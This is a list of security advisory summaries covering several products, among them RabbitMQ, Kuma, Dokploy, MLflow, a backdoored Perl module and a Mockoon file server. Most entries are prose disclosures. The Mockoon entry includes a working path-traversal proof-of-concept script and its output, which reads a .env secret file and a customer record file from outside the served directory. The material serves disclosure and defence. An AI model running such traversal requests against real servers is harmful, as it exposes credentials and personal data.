A stack-based buffer overflow vulnerability exists in the interactive shell of the xmllint command-line tool used in the cert-manager Operator for Red Hat OpenShift. This flaw occurs when an overly long command is input without proper size checking, potentially causing the program to crash. Exploitation requires local access and manual interaction with the tool, making it unlikely in typical environments. The impact is limited to availability due to potential crashes, with no confidentiality or integrity loss reported. Red Hat rates this vulnerability as low severity and recommends applying upstream patches once available.
Readwise Reader for Android version 8.7.2 contains three stored cross-site scripting (XSS) vulnerabilities. These flaws allow attackers who can supply malicious documents or metadata to execute arbitrary JavaScript within the app's WebView context. The vulnerabilities arise from insufficient sanitization of document metadata fields, improper escaping of URL metadata, and permissive sanitization rules for SVG markup. Exploitation could compromise user data confidentiality and integrity, including access to stored documents, credentials, and session tokens. A patch addressing one of the issues is available in version 8.10.1. Users are advised to update when possible and exercise caution when adding content from untrusted sources.
IO::Socket::SSL::SelfCertificate version 1.00 for Perl contains embedded malicious code that executes a Python script from an obfuscated URL. The generate_certificate function runs a Python script saved as a certificate file, which retrieves and executes code from a hardcoded, base64-obfuscated HTTP URL. This allows arbitrary code execution as the user without leaving a dropped script on the host. The malicious payload is located in the sample certificate file cert.pem. This vulnerability is similar to CVE-2026-95831 affecting a related module.
ViewSonic vCast software, used in ViewBoard smartboards, contains multiple unauthenticated vulnerabilities that can be chained by a remote attacker with network access to fully compromise the device. These include screen content exfiltration via unauthenticated API endpoints, unprivileged APK installation through an unauthenticated download endpoint, and arbitrary input injection via exposed network services. No vendor fix is currently available. Interim mitigations include network segmentation and monitoring.
Norwegian Cruise Line's door access controllers use RFID card readers that authenticate only by checking a static 7-byte UID from NFC credentials. This UID is not secret and does not involve cryptographic challenge-response, allowing attackers to clone keycards by capturing and replaying the UID. Such cloned cards grant unauthorized access to restricted areas on cruise ships, posing significant safety risks. No vendor fix or patch is currently available. Users are advised to use RFID-blocking wallets, shielded sleeves, or physical barriers like aluminum foil to reduce the risk of unauthorized scanning.
Imprivata Enterprise Access Management (EAM) versions 26.2.6 and below do not support rotation of the RSA key pair used to generate the appliance's X.509 certificate. This means the same key pair is used indefinitely, violating cryptographic best practices. If an attacker obtains the private key, they can impersonate the appliance to any trusted endpoint, intercepting authentication traffic and potentially decrypting past communications if perfect forward secrecy is not enforced. The vendor is aware but has not provided a fix or timeline. Until resolved, users should protect the private key and enforce perfect forward secrecy.
RabbitMQ is a messaging and streaming broker. Prior to versions 3.13.15, 4.0.20, 4.1.11, 4.2.6, and 4.3.0, The trust-store plugin installs a verify_fun that overrides {bad_cert, unknown_ca} / {bad_cert, selfsigned_peer} when the presented cert "matches" a whitelisted one. The match key is extract_issuer_id/1 → public_key:pkix_issuer_id/2 → {IssuerName, SerialNumber} , both fields are taken verbatim from the presented certificate body and contain no public-key, SKI, fingerprint or signature material. is_whitelisted/1 is a pure ets:member lookup; the stored full DER is used only for list/0 display and is never compared against the presented cert. cacerts is [], so the whitelisted cert is never used as a trust anchor for path validation either. TLS client-authentication bypass: an attacker who knows the issuer DN + serial of any whitelisted certificate can connect with a forged self-signed cert. Preconditions include rabbitmq_trust_store plugin enabled and used as the TLS verify_fun Attacker knows or can guess the {Issuer, Serial} of at least one whitelisted cert (non-secret; exposed via CLI/logs/any cert copy). This issue is fixed in versions 3.13.15, 4.0.20, 4.1.11, 4.2.6, and 4.3.0.
Cinnamon's Kotaemon (all versions up to and including v0.12.0) multi-user chat interface contains multiple vulnerabilities due to incorrect authorization and improper access controls. There are four handler methods in `libs/ktem/ktem/pages/chat/control.py` that load a Conversation record by its ID without comparing the requester's `user_id` to the conversation's owner `Conversation.user`. This allows any authenticated user to perform the following actions:
1. Read other user's chat transcripts, RAG retrieval history, AI-generated plots, and chat suggestions.
2. Permanently delete another user's conversation.
3. Rename another user's conversation.
4. Overwrite another user's conversation's chat suggestion list.
Steeltoe is an open source project that provides a collection of libraries that helps users build cloud-native applications. Prior to 4.3.0, Steeltoe.Security.Authorization.Certificate deployments using AddOrgAndSpacePolicies() and UseCertificateAuthorization() trust the public certificate supplied in the X-Client-Cert request header without proving possession of the corresponding private key. Common Cloud Foundry routers do not remove this header from inbound requests. When inbound requests are not restricted to a known trusted proxy source IP, an attacker who obtains the public certificate of an application instance in the target organization or space and can reach the application can spoof X-Client-Cert to bypass the SameOrg and SameSpace policies for the certificate validity period. This issue is fixed in version 4.3.0.
Dokploy versions 0.29.8 and 0.29.11, as well as commit 24b02f5 on the canary branch, contain an OS command injection vulnerability in their database backup creation and restoration processes. This occurs because user-supplied input is unsafely incorporated into shell commands executed with root privileges. Authenticated users with backup permissions can exploit this to execute arbitrary commands as root, potentially leading to full system compromise. The vulnerability affects all supported database types: PostgreSQL, MySQL, MariaDB, MongoDB, and LibSQL. The issue has been patched in Dokploy version 0.29.13 and later. Users unable to update should restrict backup permissions to mitigate risk.
MLflow's dspy and statsmodels model flavors contain vulnerabilities that bypass the MLFLOW_ALLOW_PICKLE_DESERIALIZATION safety control designed to prevent unsafe pickle deserialization. The dspy flavor conditionally applies this control only if the model path ends with .pkl, allowing bypass if the file extension differs. The statsmodels flavor does not apply the control at all. This allows arbitrary remote code execution via malicious pickle payloads when loading models through these flavors. The vulnerability was confirmed in MLflow 3.12.0. The statsmodels flavor issue is patched in versions 3.15.0 and later. Users should upgrade and avoid using the dspy flavor until a fix is available.
This report details the infrastructure of SpiceRAT malware linked to the SilkParasite campaign targeting government and energy sectors across Central Asia. The infrastructure includes a cluster of command and control servers active from late 2025 through mid-2026, identified by shared TLS certificates, reused hostnames, and identical cloned web pages. The attackers impersonate legitimate entities such as Uzbekistan's state railway authority using TLS certificates issued by a Chinese state-affiliated CA. The infrastructure spans multiple hosting providers and countries, with evidence of ongoing activity for at least four years. The report provides detection indicators including IPs, domains, TLS certs, and page hashes for defenders to conduct retro hunts. No direct malware behavior or initial access vectors are covered in this analysis.
A security advisory from Red Hat addresses multiple vulnerabilities in Red Hat Hardened Images RPMs, including Apache Tomcat. Notably, CVE-2026-68569 describes an improper authentication flaw in Apache Tomcat when using CLIENT-CERT or SPNEGO authentication with DataSourceRealm, allowing unauthorized access even if the user account does not exist. The advisory provides updated RPM packages for tomcat11 to address these issues. Mitigation includes avoiding the use of CLIENT-CERT or SPNEGO authentication with DataSourceRealm or restricting network access to trusted clients. No explicit fixed versions are listed, and patch status is not confirmed in the advisory.
Kuma versions prior to 2.7.26, 2.9.16, 2.11.14, 2.12.11, and 2.13.7 contain an improper certificate validation vulnerability. When a kumactl profile is manually configured for an HTTPS control plane without specifying --ca-cert-file, TLS peer verification is disabled. This causes API tokens to be sent over an unverified connection, allowing a network attacker to intercept tokens and impersonate users or administrators. The default local profile is not affected as it uses plain HTTP. The issue is fixed in the specified versions.
Kuma is a modern Envoy-based service mesh that can run on every cloud across both Kubernetes and VMs. Prior to 2.7.26, 2.9.16, 2.11.14, 2.12.11, and 2.13.7, Universal mode kuma-dp connections to an HTTPS control plane disable TLS peer verification when --ca-cert-file is not supplied and KUMA_CONTROL_PLANE_CA_CERT is unset. The dataplane authentication token is sent over the unverified connection, allowing an on-path attacker to intercept the token, impersonate the control plane, inject a forged bootstrap configuration, and take over the proxy. Standard Kubernetes installations created by kumactl install control-plane or the official Helm chart are unaffected because the mutating admission webhook injects KUMA_CONTROL_PLANE_CA_CERT into each sidecar. This issue is fixed in versions 2.7.26, 2.9.16, 2.11.14, 2.12.11, and 2.13.7.
An open directory exposed on a server in Thailand revealed an active intrusion operation targeting two major broadband providers, primarily 3BB (Triple T Broadband). The attacker exploited CVE-2024-21762 to gain remote code execution on a FortiGate 60F SSL-VPN device. The exposed files included exploitation scripts, privilege escalation tools, brute-force utilities, and a MeshCentral agent configured as a persistent backdoor. The attacker aimed to extract subscriber authentication data from RADIUS databases and had valid OpenVPN certificates and active session cookies, indicating deep network access. The attacker also prepared cleanup scripts to remove traces while maintaining persistence. Hunt.io notified affected parties and CERT prior to public disclosure.
## Summary
A `FILE` response whose `filePath` embeds request data (e.g. `"/srv/public/{{queryParam 'name'}}"`, the documented way to let the client pick a file) is confined by `getSafeFilePath` with `resolvedPath.startsWith(staticBaseDir)`. That prefix test has no path-separator boundary, so a `../`-escaped path whose absolute form string-prefixes the base directory passes. An unauthenticated client reads files from sibling paths outside the served directory.
## Details
`packages/commons-server/src/libs/server/server.ts`, `getSafeFilePath` (line 2315). The static base is the text before the first `{{`, resolved to an absolute path; the parsed `filePath` is then bounded by a string-prefix check:
```ts
const staticBaseDir = staticBaseMatch ? resolve(staticBaseMatch[1]) : null; // 2336
const parsedFilePath = TemplateParser({ ... request ... }); // request-controlled
const resolvedPath = resolvePath(parsedFilePath);
if (isPathAbsolute) {
if (!staticBaseDir || !resolvedPath.startsWith(staticBaseDir)) { // 2355
throw new Error(`Access to absolute path outside of the original static base directory (${resolvedPath})`);
}
} else if (!resolvedPath.startsWith(this.options.environmentDirectory)) { // 2362
throw new Error(`Access to relative path outside of the environment base directory (${resolvedPath})`);
}
```
With `"/srv/public/{{queryParam 'name'}}"`, `staticBaseDir = /srv/public`. A request `name=../public_backup/.env` resolves to `/srv/public_backup/.env`, and `"/srv/public_backup/.env".startsWith("/srv/public")` is `true` → served. Any sibling whose absolute path begins with the string `/srv/public` is reachable; the relative branch (`:2362`) is the same against `environmentDirectory`. A correct check appends `sep` to the base, or rejects when `relative(base, resolvedPath)` starts with `..`.
`filePath` is request-controlled (`queryParam`/`urlParam`/header/body via `TemplateParser`) for every `FILE` response: HTTP `sendFile` (`:1762`), WebSocket (`:1145`), callbacks (`:1586`).
## PoC
```sh
cat > /tmp/poc.sh <<'POC'
set -e
mkdir -p /work/public /work/public_backup && cd /work
echo 'public landing page' > public/index.txt
echo 'AWS_SECRET_ACCESS_KEY=redacted' > public_backup/.env
echo 'Michael, michael@example.com, 555-22-7741' > public_backup/customers.csv
cat > env.json <<'JSON'
{"uuid":"00000000-0000-0000-0000-000000000001","lastMigration":33,"name":"f","port":3000,"hostname":"","folders":[],
"routes":[{"uuid":"11111111-0000-0000-0000-000000000001","type":"http","documentation":"","method":"get","endpoint":"download",
"responses":[{"uuid":"22222222-0000-0000-0000-000000000001","body":"","latency":0,"statusCode":200,"label":"","headers":[],
"bodyType":"FILE","filePath":"/work/public/{{queryParam 'name'}}","sendFileAsBody":true,"rules":[],"rulesOperator":"OR",
"disableTemplating":false,"fallbackTo404":false,"default":true,"crudKey":"id","callbacks":[]}],
"responseMode":null,"streamingMode":null,"streamingInterval":0}],
"rootChildren":[{"type":"route","uuid":"11111111-0000-0000-0000-000000000001"}],
"proxyMode":false,"proxyHost":"","proxyRemovePrefix":false,
"tlsOptions":{"enabled":false,"type":"CERT","pfxPath":"","certPath":"","keyPath":"","caPath":"","passphrase":""},
"cors":true,"headers":[],"proxyReqHeaders":[],"proxyResHeaders":[],"data":[]}
JSON
npm i -g @mockoon/cli@9.6.1 >/dev/null 2>&1
mockoon-cli start --data env.json --port 3000 >/tmp/srv.log 2>&1 &
sleep 6
node -e '
const UA={headers:{"User-Agent":"Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"}};
const g=async(q)=>{const r=await fetch("http://127.0.0.1:3000/download?name="+encodeURIComponent(q),UA);return (await r.text()).trim();};
(async()=>{
console.log("[*] intended file (public/index.txt) :",await g("index.txt"));
console.log("[+] escape -> ../public_backup/.env :",await g("../public_backup/.env"));
console.log("[+] escape -> ../public_backup/customers:",await g("../public_backup/customers.csv"));
})();'
POC
docker run --rm -v /tmp/poc.sh:/poc.sh:ro node:20-bookworm-slim bash /poc.sh
```
Output:
```text
[*] intended file (public/index.txt) : public landing page
[+] escape -> ../public_backup/.env : AWS_SECRET_ACCESS_KEY=redacted
[+] escape -> ../public_backup/customers: Michael, michael@example.com, 555-22-7741
```
`../public_backup/.env` and `../public_backup/customers.csv` are served, outside `/work/public/`, because their absolute paths string-prefix `/work/public`
IBM Common Licensing versions 9.0, 9.0.0.1, 9.0.0.2, and ART 9.0 series contain a vulnerability that allows remote attackers to redirect users to arbitrary domains. This occurs due to improper validation of the HTTP Host header, which can be exploited without authentication or user interaction. The vulnerability has a high CVSS score of 9.1, indicating critical severity with high impact on confidentiality and integrity but no impact on availability.
A Server-Side Request Forgery (SSRF) vulnerability exists in the ONLYOFFICE ownCloud Integration plugin version 9.12. The /apps/onlyoffice/ajax/settings/address endpoint does not sufficiently validate the user-supplied Document Server URL before initiating outbound connections. An authenticated administrator can manipulate the document server parameter to cause the ownCloud server to send arbitrary requests to attacker-controlled destinations, including localhost and internal network hosts. This allows internal network reconnaissance and TCP port scanning based on differences in server responses.